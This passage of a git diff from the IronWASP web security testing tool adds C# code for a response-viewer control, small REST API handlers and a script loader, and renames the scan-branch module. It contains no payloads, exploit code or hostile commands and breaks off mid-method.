FormatPluginCallingThread.Abort(); + } + catch { } + } + if (PluginName.Length == 0) return; + ShowStatusMsg(string.Format("Parsing Response body as {0}", PluginName)); + ShowProgressBar(true); + FormatPluginCallingThread = new Thread(DeserializeWithFormatPlugin); + FormatPluginCallingThread.Start(PluginName); + } + + private void ConvertXmlToObjectBtn_Click(object sender, EventArgs e) + { + if (this.ReadOnly) return; + if (BodyFormatXmlChanged) + { + string XML = FormatXmlTBP.GetText(); + string PluginName = this.GetSelectedFormatPluginName(); + if (PluginName.Length > 0 && XML.Length > 0) + this.SerializeNewXmlWithFormatPlugin(XML, PluginName); + } + ResetBodyFormatXmlChangedStatus(); + } + + private void FormatXmlTBP_ValueChanged() + { + BodyFormatXmlChanged = true; + } + + private void BodyFormatPluginsParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + BodyTypeFormatPluginsParametersChanged = true; + try + { + BodyFormatPluginsParametersGrid.Rows[e.RowIndex].Cells[3].Value = Tools.Base64Encode(BodyFormatPluginsParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); + } + catch { } + if (DisplayedResponse != null && ResponseChanged != null) + ResponseChanged(); + } + + private void BodyTBP_ValueChanged() + { + BodyChanged = true; + if (DisplayedResponse != null && ResponseChanged != null) + ResponseChanged(); + } + + private void HeadersTBP_ValueChanged() + { + HeadersChanged = true; + if (DisplayedResponse != null && ResponseChanged != null) + ResponseChanged(); + } + + void DeserializeWithFormatPlugin(object PluginNameObject) + { + string PluginName = PluginNameObject.ToString(); + try + { + Response Res = DisplayedResponse.GetClone(true); + FormatPlugin FP = FormatPlugin.Get(PluginName); + CurrentFormatXml = FP.ToXmlFromResponse(Res); + CurrentXmlNameValueArray = FormatPlugin.XmlToArray(CurrentFormatXml); + ShowStatusMsg(""); + SetDeserializedDataInUi(PluginName, CurrentFormatXml, CurrentXmlNameValueArray); + ShowProgressBar(false); + } + catch (ThreadAbortException) + { + ShowStatusMsg(""); + } + catch (Exception Exp) + { + IronException.Report(string.Format("Error converting Response to {0}", PluginName), Exp); + ShowErrorMsg(string.Format("Unable to parse Response body as {0}", PluginName)); + ShowProgressBar(false); + } + } + + delegate void SetDeserializedDataInUi_d(string PluginName, string XML, string[,] XmlNameValueArray); + void SetDeserializedDataInUi(string PluginName, string XML, string[,] XmlNameValueArray) + { + if (this.BaseTabs.InvokeRequired) + { + SetDeserializedDataInUi_d InvokeDelegate_d = new SetDeserializedDataInUi_d(SetDeserializedDataInUi); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { PluginName, XML, XmlNameValueArray }); + } + else + { + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(PluginName)) + Row.Cells[0].Value = true; + else + Row.Cells[0].Value = false; + } + FormatXmlTBP.SetText(XML); + ConvertXmlToObjectBtn.Text = string.Format("Convert this XML to {0}", PluginName); + BodyFormatPluginsParametersGrid.Rows.Clear(); + for (int i = 0; i < XmlNameValueArray.GetLength(0); i++) + { + int RowId = BodyFormatPluginsParametersGrid.Rows.Add(new object[] { XmlNameValueArray[i, 0], Tools.Base64Decode(XmlNameValueArray[i, 1]), Properties.Resources.Glass, XmlNameValueArray[i, 1] }); + BodyFormatPluginsParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; + } + this.ShowHideEmptyMessages(); + } + } + + void SerializeNewParametersWithFormatPlugin(string[,] EditedXmlNameValueArray, string PluginName) + { + for (int i = 0; i < this.CurrentXmlNameValueArray.GetLength(0); i++) + { + if (this.CurrentXmlNameValueArray[i, 0].Equals(EditedXmlNameValueArray[i, 0])) + { + if (!this.CurrentXmlNameValueArray[i, 1].Equals(EditedXmlNameValueArray[i, 1])) + { + this.CurrentFormatXml = FormatPlugin.InjectInXml(this.CurrentFormatXml, i, EditedXmlNameValueArray[i, 1]); + } + } + } + this.CurrentXmlNameValueArray = EditedXmlNameValueArray; + this.SerializeNewXmlWithFormatPlugin(this.CurrentFormatXml, PluginName); + } + void SerializeNewXmlWithFormatPlugin(string XML, string PluginName) + { + this.CurrentFormatXml = XML; + this.CurrentXmlNameValueArray = FormatPlugin.XmlToArray(this.CurrentFormatXml); + if (FormatPluginCallingThread != null) + { + try + { + FormatPluginCallingThread.Abort(); + } + catch { } + } + ShowProgressBar(true); + ShowStatusMsg(string.Format("Updating edited values in {0}", PluginName)); + FormatPluginCallingThread = new Thread(SerializeNewXmlWithFormatPlugin); + FormatPluginCallingThread.Start(PluginName); + } + + void SerializeNewXmlWithFormatPlugin(object PluginNameObject) + { + string PluginName = PluginNameObject.ToString(); + try + { + Response Res = DisplayedResponse.GetClone(true); + FormatPlugin FP = FormatPlugin.Get(PluginName); + Response NewResponse = FP.ToResponseFromXml(Res, CurrentFormatXml); + this.DisplayedResponse = NewResponse; + ShowStatusMsg(""); + this.SetNonFormatPluginResponseFields(NewResponse); + ShowProgressBar(false); + CheckAndShowReflection(); + } + catch (ThreadAbortException) + { + ShowStatusMsg(""); + } + catch (Exception Exp) + { + IronException.Report(string.Format("Error converting {0} to Response", PluginName), Exp); + ShowErrorMsg(string.Format("Unable to update edited values in {0}", PluginName)); + ShowProgressBar(false); + } + } + delegate void SetNonFormatPluginResponseFields_d(Response Res); + void SetNonFormatPluginResponseFields(Response Res) + { + if (this.BaseTabs.InvokeRequired) + { + SetNonFormatPluginResponseFields_d InvokeDelegate_d = new SetNonFormatPluginResponseFields_d(SetNonFormatPluginResponseFields); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Res }); + } + else + { + this.SetHeader(Res); + this.SetBody(Res); + } + } + + string GetSelectedFormatPluginName() + { + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + return Row.Cells[1].Value.ToString(); + } + return ""; + } + + private void ResponseView_Load(object sender, EventArgs e) + { + FormatPluginsGrid.Rows.Clear(); + foreach (string Name in FormatPlugin.List()) + { + FormatPluginsGrid.Rows.Add(new object[] { false, Name }); + } + if (!HasReflectionTab) + { + BaseTabs.TabPages.RemoveByKey("ReflectionsTab"); + } + ToolTip Tips = new ToolTip(); + Tips.SetToolTip(RenderLbl, "Render using IE's rendering engine"); + Tips.SetToolTip(ScreenshotBtn, "Screenshot mode"); + } + + void CheckAndShowReflection() + { + if (DisplayedResponse != null && RequestOfDisplayedResponse != null && HasReflectionTab) + { + Session Sess = new Session(RequestOfDisplayedResponse, DisplayedResponse); + if (ReflectionCheckingThread != null) + { + try + { + ReflectionCheckingThread.Abort(); + } + catch { } + } + ShowReflection("Checking for reflection..."); + ReflectionCheckingThread = new Thread(CheckReflection); + ReflectionCheckingThread.Start(Sess); + } + } + + void CheckReflection(object SessObject) + { + if (!HasReflectionTab) return; + try + { + Session Sess = (Session)SessObject; + string Reflection = Analyzer.CheckReflections(Sess); + ShowReflection(Reflection); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + ShowReflection("Error when checking for reflections"); + IronException.Report("Error checking reflections", Exp); + } + } + + delegate void ShowReflection_d(string ReflectionString); + void ShowReflection(string ReflectionString) + { + if (this.BaseTabs.InvokeRequired) + { + ShowReflection_d InvokeDelegate_d = new ShowReflection_d(ShowReflection); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { ReflectionString }); + } + else + { + if (!HasReflectionTab) return; + StringBuilder ReflectionBuilder = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + ReflectionBuilder.Append(Tools.RtfSafe(ReflectionString)); + ReflectionRTB.Rtf = ReflectionBuilder.ToString(); + } + } + + private void RenderLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (this.DisplayedResponse != null) + { + this.DisplayedResponse.Render(); + } + else + { + MessageBox.Show("No response available to render"); + } + } + + private void BodyFormatPluginsParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex == 2) + { + ExpandedParameterIndex = e.RowIndex; + //SetEditTab(BodyFormatPluginsParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); + SetEditTab(Tools.Base64DecodeToByteArray(BodyFormatPluginsParametersGrid.Rows[e.RowIndex].Cells[3].Value.ToString())); + } + } + + void SetEditTab(string Value) + { + EditTBP.SetText(Value); + BaseTabs.TabPages["EditingTab"].Text = " Selected Parameter Value "; + BaseTabs.SelectTab("EditingTab"); + } + + void SetEditTab(byte[] Value) + { + EditTBP.SetBytes(Value); + BaseTabs.TabPages["EditingTab"].Text = " Selected Parameter Value "; + BaseTabs.SelectTab("EditingTab"); + } + void ClearEditTab() + { + EditTBP.SetText(""); + BaseTabs.TabPages["EditingTab"].Text = " "; + if (BaseTabs.SelectedTab.Name == "EditingTab") + { + BaseTabs.SelectTab("HeadersTab"); + } + } + + void ShowHideEmptyMessages() + { + if (this.DisplayedResponse == null) + { + BodyTBP.Visible = true; + BodyParametersTabSplit.Visible = true; + + BodyEmptyLbl.Visible = false; + BodyAddLL.Visible = false; + BodyParamEmptyLbl.Visible = false; + } + else + { + if (BodyTBP.Text.Length == 0) + { + BodyTBP.Visible = false; + BodyEmptyLbl.Visible = true; + if (this.ReadOnly) + { + BodyAddLL.Visible = false; + } + else + { + BodyAddLL.Visible = true; + } + } + else + { + BodyTBP.Visible = true; + BodyEmptyLbl.Visible = false; + BodyAddLL.Visible = false; + } + + if (BodyFormatPluginsParametersGrid.Rows.Count == 0) + { + BodyParametersTabSplit.Visible = false; + BodyParamEmptyLbl.Visible = true; + } + else + { + BodyParametersTabSplit.Visible = true; + BodyParamEmptyLbl.Visible = false; + } + } + } + + private void SaveEditsLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + string Name = BodyFormatPluginsParametersGrid.Rows[ExpandedParameterIndex].Cells[0].Value.ToString(); + string NormalValue = EditTBP.GetText(); + string EncodedValue = ""; + if (EditTBP.IsBinary) + { + EncodedValue = Tools.Base64EncodeByteArray(EditTBP.GetBytes()); + } + else + { + EncodedValue = Tools.Base64Encode(EditTBP.GetText()); + } + + BodyFormatPluginsParametersGrid.Rows.RemoveAt(ExpandedParameterIndex); + BodyFormatPluginsParametersGrid.Rows.Insert(ExpandedParameterIndex, new object[] { Name, NormalValue, Properties.Resources.Glass, EncodedValue }); + + BodyFormatPluginsParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); + BodyTypeFormatPluginsParametersChanged = true; + BaseTabs.SelectTab("BodyParametersTab"); + ClearEditTab(); + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (e.TabPage.Text.Trim().Length == 0) + { + e.Cancel = true; + return; + } + } + + private void ScreenshotBtn_Click(object sender, EventArgs e) + { + if (this.DisplayedResponse != null) + { + if (this.RequestOfDisplayedResponse != null) + { + ScreenshotForm SF = new ScreenshotForm(); + SF.SetRequestResponse(this.RequestOfDisplayedResponse, this.DisplayedResponse); + SF.Show(); + } + else + { + MessageBox.Show("Request information is missing, cannot open in Screenshot mode"); + } + } + else + { + MessageBox.Show("No Response available for taking screenshot"); + } + } + + private void BodyAddLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + BodyEmptyLbl.Visible = false; + BodyAddLL.Visible = false; + BodyTBP.Visible = true; + } + } +} diff --git a/Iron/ResponseView.resx b/Iron/ResponseView.resx new file mode 100644 index 0000000..3b069b8 --- /dev/null +++ b/Iron/ResponseView.resx @@ -0,0 +1,180 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + This control displays the HTTP Response. If it is not in read-only mode then you can also edit and modify the Response from here. +There are four major sections here- + +Headers: +Contains the Headers of the Response. Contains both a text and hex view and the ability to search the displayed value. + +Body: +Contains Body of the Response. Contains both a text and hex view and the ability to search the displayed value. + +Reflections: +If any parameter values sent in the Request are found in the displayed Response then they are highlighted in this section. +This servers to help with identifying candidates for Cross-site Scripting testing. + +Body Parameters: + +If the Response body is in a format like JSON, XML etc then this section makes it easy to analyze and edit it. +On the left you are shown a list of data formats supported by IronWASP, when you click on any of the format the Response body is parsed as the selected format. +The values from the parsed format and the corresponding property names are displayed after parsing. +If you make any changes to these values then switch to the 'Body' section, when you do this the values are inserted back in to the original format and displayed. +This section handles format specific encoding automatically. For example if you enter a value containing < or > in an XML value then it is automatically XML encoded. +You can add support for more data formats by creating a Format Plugin for that format in Python or Ruby. +Format Plugins simply convert a data format to XML and then the XML back to the original format. This converted XML can be seen in the 'Normalized XML View' section. + + \ No newline at end of file diff --git a/Iron/RestApi/CoreApiLoader.cs b/Iron/RestApi/CoreApiLoader.cs new file mode 100644 index 0000000..0c22b83 --- /dev/null +++ b/Iron/RestApi/CoreApiLoader.cs @@ -0,0 +1,16 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.RestApi +{ + internal class CoreApiLoader + { + internal static void LoadCoreCustomApiRegistration() + { + PassiveCrawlerApi.LoadApis(); + WorkFlowScannerApi.LoadApis(); + JavaScriptTracerApi.LoadApis(); + } + } +} diff --git a/Iron/RestApi/CustomApiLoader.cs b/Iron/RestApi/CustomApiLoader.cs new file mode 100644 index 0000000..ef4108e --- /dev/null +++ b/Iron/RestApi/CustomApiLoader.cs @@ -0,0 +1,133 @@ +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Xml; +using System.IO; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Data.SQLite; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP.RestApi +{ + internal class CustomApiLoader + { + internal static void LoadCustomApiRegistrationFromPythonScript() + { + RunScript( string.Format("{0}\\ApiScript.py", Config.RootDir), GetScriptEngine()); + } + + internal static void LoadCustomApiRegistrationFromRubyScript() + { + RunScript(string.Format("{0}\\ApiScript.rb", Config.RootDir), GetScriptEngine()); + } + + static ScriptEngine GetScriptEngine() + { + ScriptRuntimeSetup Setup = new ScriptRuntimeSetup(); + Setup.LanguageSetups.Add(IronRuby.Ruby.CreateRubySetup()); + Setup.LanguageSetups.Add(IronPython.Hosting.Python.CreateLanguageSetup(null)); + ScriptRuntime RunTime = new ScriptRuntime(Setup); + ScriptEngine Engine = RunTime.GetEngine("py"); + ScriptScope Scope = RunTime.CreateScope(); + + Assembly MainAssembly = Assembly.GetExecutingAssembly(); + string RootDir = Directory.GetParent(MainAssembly.Location).FullName; + + RunTime.LoadAssembly(MainAssembly); + RunTime.LoadAssembly(typeof(String).Assembly); + RunTime.LoadAssembly(typeof(Uri).Assembly); + RunTime.LoadAssembly(typeof(XmlDocument).Assembly); + + Engine.Runtime.TryGetEngine("py", out Engine); + return Engine; + } + + static void RunScript(string ScriptFile, ScriptEngine Engine) + { + try + { + ScriptSource PluginSource; + CompiledCode CompiledPlugin; + ScriptErrorReporter CompileErrors = new ScriptErrorReporter(); + string ErrorMessage = ""; + + if (ScriptFile.EndsWith(".py", StringComparison.CurrentCultureIgnoreCase)) + { + Engine.Runtime.TryGetEngine("py", out Engine); + PluginSource = Engine.CreateScriptSourceFromFile(ScriptFile); + string IndentError = PluginEditor.CheckPythonIndentation(PluginSource.GetCode())[1]; + if (IndentError.Length > 0) + { + string UpdatedCode = PluginEditor.FixPythonIndentation(PluginSource.GetCode()); + PluginSource = Engine.CreateScriptSourceFromString(UpdatedCode); + //ErrorMessage = string.Format("{0}\r\n{1}", IndentError, ErrorMessage); + } + CompiledPlugin = PluginSource.Compile(CompileErrors); + ErrorMessage = CompileErrors.GetErrors(); + if (ErrorMessage.Length > 0 && IndentError.Length > 0) + { + ErrorMessage = string.Format("{0}\r\n{1}", IndentError, ErrorMessage); + } + if (ErrorMessage.Length == 0) + { + PluginSource.ExecuteProgram(); + } + } + else if (ScriptFile.EndsWith(".rb", StringComparison.CurrentCultureIgnoreCase)) + { + Engine.Runtime.TryGetEngine("rb", out Engine); + PluginSource = Engine.CreateScriptSourceFromFile(ScriptFile); + CompiledPlugin = PluginSource.Compile(CompileErrors); + ErrorMessage = CompileErrors.GetErrors(); + if (ErrorMessage.Length == 0) + { + PluginSource.ExecuteProgram(); + } + } + if (ErrorMessage.Length > 0) + { + IronException.Report("Syntax error in API Script - " + ScriptFile, ErrorMessage); + } + } + catch (Exception Exp) + { + IronException.Report("Error loading script - " + ScriptFile, Exp.Message, Exp.StackTrace); + } + } + } +} diff --git a/Iron/RestApi/JavaScriptTracerApi.cs b/Iron/RestApi/JavaScriptTracerApi.cs new file mode 100644 index 0000000..8780012 --- /dev/null +++ b/Iron/RestApi/JavaScriptTracerApi.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.RestApi +{ + internal class JavaScriptTracerApi + { + internal static void LoadApis() + { + ApiCallHandler.AddCoreHandler("jstracer/log_msg", LogMessageFromBrowser); + } + + internal static void LogMessageFromBrowser(Request Req, Response Res) + { + if (Req.Url.Equals(string.Format("{0}jstracer/log_msg", ApiCallHandler.CoreApiUrlStart), StringComparison.OrdinalIgnoreCase)) + { + Res.BodyString = "OK"; + JavaScriptTracer.LogTraceMessage(Req.BodyString); + } + } + } +} diff --git a/Iron/RestApi/PassiveCrawlerApi.cs b/Iron/RestApi/PassiveCrawlerApi.cs new file mode 100644 index 0000000..60e58a7 --- /dev/null +++ b/Iron/RestApi/PassiveCrawlerApi.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.RestApi +{ + internal class PassiveCrawlerApi + { + internal static void LoadApis() + { + ApiCallHandler.AddCoreHandler("passivecrawler/start", InformStartOfCrawling); + ApiCallHandler.AddCoreHandler("passivecrawler/end", InformEndOfCrawling); + ApiCallHandler.AddCoreHandler("passivecrawler/pending_responses", GetPendingResponseStatus); + ApiCallHandler.AddCoreHandler("passivecrawler/scraped_urls", GetScrapedUrls); + ApiCallHandler.AddCoreHandler("passivecrawler/new_page_load", InformNewPageLoad); + ApiCallHandler.AddCoreHandler("passivecrawler/get_wait_time", RespondWithPageWaitTime); + } + + internal static void InformStartOfCrawling(Request Req, Response Res) + { + if(Req.Url.Equals(string.Format("{0}passivecrawler/start", ApiCallHandler.CoreApiUrlStart), StringComparison.OrdinalIgnoreCase)) + { + PassiveCrawler.PassiveCrawlerRunning = true; + Res.BodyString = "OK"; + PassiveCrawler.SetCrawlerUserAgent(Req.UserAgent); + } + } + + internal static void InformEndOfCrawling(Request Req, Response Res) + { + if (Req.Url.Equals(string.Format("{0}passivecrawler/end", ApiCallHandler.CoreApiUrlStart), StringComparison.OrdinalIgnoreCase)) + { + PassiveCrawler.PassiveCrawlerRunning = false; + Res.BodyString = "OK"; + } + } + + internal static void GetPendingResponseStatus(Request Req, Response Res) + { + if (Req.Url.Equals(string.Format("{0}passivecrawler/pending_responses", ApiCallHandler.CoreApiUrlStart), StringComparison.OrdinalIgnoreCase)) + { + if (PassiveCrawler.AreAnyRequestsWaitingForResponses()) + { + Res.BodyString = "YES"; + } + else + { + Res.BodyString = "NO"; + } + } + } + + internal static void GetScrapedUrls(Request Req, Response Res) + { + if (Req.Url.Equals(string.Format("{0}passivecrawler/scraped_urls", ApiCallHandler.CoreApiUrlStart), StringComparison.OrdinalIgnoreCase)) + { + StringBuilder SB = new StringBuilder(); + foreach (string Url in PassiveCrawler.GetListOfScrapedUrls()) + { + SB.AppendLine(Url); + } + Res.BodyString = SB.ToString(); + } + } + + internal static void InformNewPageLoad(Request Req, Response Res) + { + PassiveCrawler.NewPageLoad(); + Res.BodyString = "OK"; + } + + internal static void RespondWithPageWaitTime(Request Req, Response Res) + { + Res.BodyString = PassiveCrawler.GetPageWaitTime(); + } + } +} diff --git a/Iron/RestApi/WorkFlowScannerApi.cs b/Iron/RestApi/WorkFlowScannerApi.cs new file mode 100644 index 0000000..75c8e91 --- /dev/null +++ b/Iron/RestApi/WorkFlowScannerApi.cs @@ -0,0 +1,55 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.RestApi +{ + internal class WorkFlowScannerApi + { + internal static void LoadApis() + { + ApiCallHandler.AddCoreHandler("workflow/start", InformStartOfWorkFlow); + ApiCallHandler.AddCoreHandler("workflow/end", InformEndOfWorkFlow); + ApiCallHandler.AddCoreHandler("workflow/start_scan", StartScanOfWorkFlows); + ApiCallHandler.AddCoreHandler("workflow/get_scan_status", GetStatusOfWorkFlowScans); + //ApiCallHandler.AddCoreHandler("workflow/get_hosts", InformEndOfWorkFlow); + } + + internal static void InformStartOfWorkFlow(Request Req, Response Res) + { + if (Req.Query.Has("name")) + { + Workflow.WorkflowScanner.MarkWorkFlowStart(Req.Query.Get("name")); + } + else + { + Workflow.WorkflowScanner.MarkWorkFlowStart(""); + } + Res.BodyString = "OK"; + } + + internal static void InformEndOfWorkFlow(Request Req, Response Res) + { + Workflow.WorkflowScanner.MarkWorkFlowEnd(); + Res.BodyString = "OK"; + } + + internal static void StartScanOfWorkFlows(Request Req, Response Res) + { + Workflow.WorkflowScanner.StartWorkFlowScans(); + Res.BodyString = "OK"; + } + + internal static void GetStatusOfWorkFlowScans(Request Req, Response Res) + { + if (Workflow.WorkflowScanner.IsScanInProgress()) + { + Res.BodyString = "RUNNING"; + } + else + { + Res.BodyString = "DONE"; + } + } + } +} diff --git a/IronWASP/RubyModule.cs b/Iron/RubyModule.cs similarity index 100% rename from IronWASP/RubyModule.cs rename to Iron/RubyModule.cs diff --git a/IronWASP/ScanBranch.cs b/Iron/ScanBranch.cs similarity index 70% rename from IronWASP/ScanBranch.cs rename to Iron/ScanBranch.cs index 0ea86b5..41f3d13 100644 --- a/IronWASP/ScanBranch.cs +++ b/Iron/ScanBranch.cs @@ -1,526 +1,719 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Threading; -using System.Windows.Forms; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - internal class ScanBranch - { - internal static List ProxyLogIDs = new List(); - internal static List ProbeLogIDs = new List(); - internal static Thread ScanThread; - - internal static string HostName = ""; - internal static string UrlPattern = ""; - internal static bool HTTP = false; - internal static bool HTTPS = false; - - internal static bool ScanUrl = true; - internal static bool ScanQuery = true; - internal static bool ScanBody = true; - internal static bool ScanCookie = true; - internal static bool ScanHeaders = true; - - internal static string SessionPlugin = ""; - internal static List FormatPlugins = new List(); - - internal static List ActivePlugins = new List(); - - internal static bool SelectGET = true; - internal static bool SelectPOST = true; - internal static bool SelectOtherMethods = true; - - internal static bool SelectHTML = true; - internal static bool SelectJS = true; - internal static bool SelectCSS = true; - internal static bool SelectXML = true; - internal static bool SelectJSON = true; - internal static bool SelectOtherText = true; - internal static bool SelectImg = true; - internal static bool SelectOtherBinary = true; - - internal static bool Select200 = true; - internal static bool Select2xx = true; - internal static bool Select301_2 = true; - internal static bool Select3xx = true; - internal static bool Select304 = true; - internal static bool Select403 = true; - internal static bool Select4xx = true; - internal static bool Select500 = true; - internal static bool Select5xx = true; - - internal static bool SelectCheckFileExtensions = false; - internal static bool SelectCheckFileExtensionsPlus = false; - internal static List SelectFileExtensions = new List(); - internal static bool SelectCheckFileExtensionsMinus = true; - internal static List DontSelectFileExtensions = new List() { "css", "js", "jpg", "jpeg", "png", "gif", "ico", "swf", "doc", "docx", "pdf", "xls", "xlsx", "ppt", "pptx" }; - - internal static List QueryWhiteList = new List(); - internal static List QueryBlackList = new List(); - - internal static List BodyWhiteList = new List(); - internal static List BodyBlackList = new List(); - - internal static List CookieWhiteList = new List(); - internal static List CookieBlackList = new List(); - - internal static List HeaderWhiteList = new List(); - internal static List HeaderBlackList = new List(); - - internal static bool SkipScanned = false; - - internal static bool PromptUser = false; - - internal static bool PickFromProxyLog = true; - internal static bool PickFromProbeLog = false; - - static List RequestSignatures = new List(); - - static List NewRequestSignatures = new List(); - - static List ScannedRequests = new List(); - - static List UniqueQueryParameters = new List(); - static List NonUniqueQueryParameters = new List(); - static List UniqueBodyParameters = new List(); - static List NonUniqueBodyParameters = new List(); - static List UniqueUrlParameters = new List(); - - static int ScanDone = 0; - static int TotalScans = 0; - - internal static void Start() - { - ScanThread = new Thread(StartBranchScan); - ScanThread.Start(); - } - - internal static void StartBranchScan() - { - try - { - ScanDone = 0; - TotalScans = ProxyLogIDs.Count; - NewRequestSignatures.Clear(); - ScanItemUniquenessChecker UniqueChecker = new ScanItemUniquenessChecker(PromptUser); - foreach (int i in ScanBranch.ProxyLogIDs) - { - ScanItem(UniqueChecker, "Proxy", i); - } - foreach (int i in ScanBranch.ProbeLogIDs) - { - ScanItem(UniqueChecker, "Probe", i); - } - foreach (string Signature in NewRequestSignatures) - { - if (!RequestSignatures.Contains(Signature)) RequestSignatures.Add(Signature); - } - NewRequestSignatures.Clear(); - IronUI.UpdateScanBranchStats(0, 0, "All Scan Jobs Created && Queued. Close this Window.", false, true); - } - catch (ThreadAbortException) - { - // - } - catch(Exception Exp) - { - IronException.Report("Scan Branch Exception", Exp.Message, Exp.StackTrace); - } - } - - static void ScanItem(ScanItemUniquenessChecker UniqueChecker, string LogSource, int LogID) - { - try - { - Request Req; - if(LogSource.Equals("Proxy")) - Req = Request.FromProxyLog(LogID); - else - Req = Request.FromProbeLog(LogID); - if (!CanScan(Req)) - { - TotalScans--; - IronUI.UpdateScanBranchStats(ScanDone, TotalScans, "Skipping previously scanned Request...." + ScanDone.ToString() + "/" + TotalScans.ToString() + " done", true, false); - return; - } - if (!UniqueChecker.IsUniqueToScan(Req, ScannedRequests, !ScanUrl)) - { - TotalScans--; - IronUI.UpdateScanBranchStats(ScanDone, TotalScans, "Skipping duplicate Request...." + ScanDone.ToString() + "/" + TotalScans.ToString() + " done", true, false); - return; - } - ScannedRequests.Add(Req.GetClone()); - Scanner Scan = new Scanner(Req); - Scan = SetSessionPlugin(Scan); - Scan = SetFormatPlugin(Scan); - Scan = AddActivePlugins(Scan); - Scan = SetInjectionPoints(Scan); - if (Scan.InjectionPointsCount == 0) - { - TotalScans--; - IronUI.UpdateScanBranchStats(ScanDone, TotalScans, "Skipping Request as no Injection Points were Identified...." + ScanDone.ToString() + "/" + TotalScans.ToString() + " done", true, false); - return; - } - Scan.LaunchScan(); - ScanDone++; - IronUI.UpdateScanBranchStats(ScanDone, TotalScans, "Creating and Queueing Scans...." + ScanDone.ToString() + "/" + TotalScans.ToString() + " done", true, false); - } - catch (Exception Exp) - { - IronException.Report("ScanBranch Error Creating Scan Job with " + LogSource + " Log ID - " + LogID.ToString(), Exp.Message, Exp.StackTrace); - } - } - - static Scanner SetFormatPlugin(Scanner S) - { - Request RequestToScan = S.OriginalRequest; - - if (!FormatPlugin.IsNormal(RequestToScan)) - { - string FPName = FormatPlugin.Get(RequestToScan, FormatPlugins); - if (FPName.Length > 0 && FPName != "Normal") - { - S.BodyFormat = FormatPlugin.Get(FPName); - } - } - return S; - } - - static Scanner SetInjectionPoints(Scanner S) - { - if (ScanQuery) - { - if (QueryWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Query.GetNames()) - { - if (QueryWhiteList.Contains(Name)) S.InjectQuery(Name); - } - } - else if (QueryBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Query.GetNames()) - { - if (!QueryBlackList.Contains(Name)) S.InjectQuery(Name); - } - } - else - { - S.InjectQuery(); - } - } - - if (ScanBody) - { - if (BodyWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Body.GetNames()) - { - if (BodyWhiteList.Contains(Name)) S.InjectBody(Name); - } - } - else if (BodyBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Body.GetNames()) - { - if (!BodyBlackList.Contains(Name)) S.InjectBody(Name); - } - } - else - { - S.InjectBody(); - } - } - - if (ScanCookie) - { - if (CookieWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Cookie.GetNames()) - { - if (CookieWhiteList.Contains(Name)) S.InjectCookie(Name); - } - } - else if (CookieBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Cookie.GetNames()) - { - if (!CookieBlackList.Contains(Name)) S.InjectCookie(Name); - } - } - else - { - 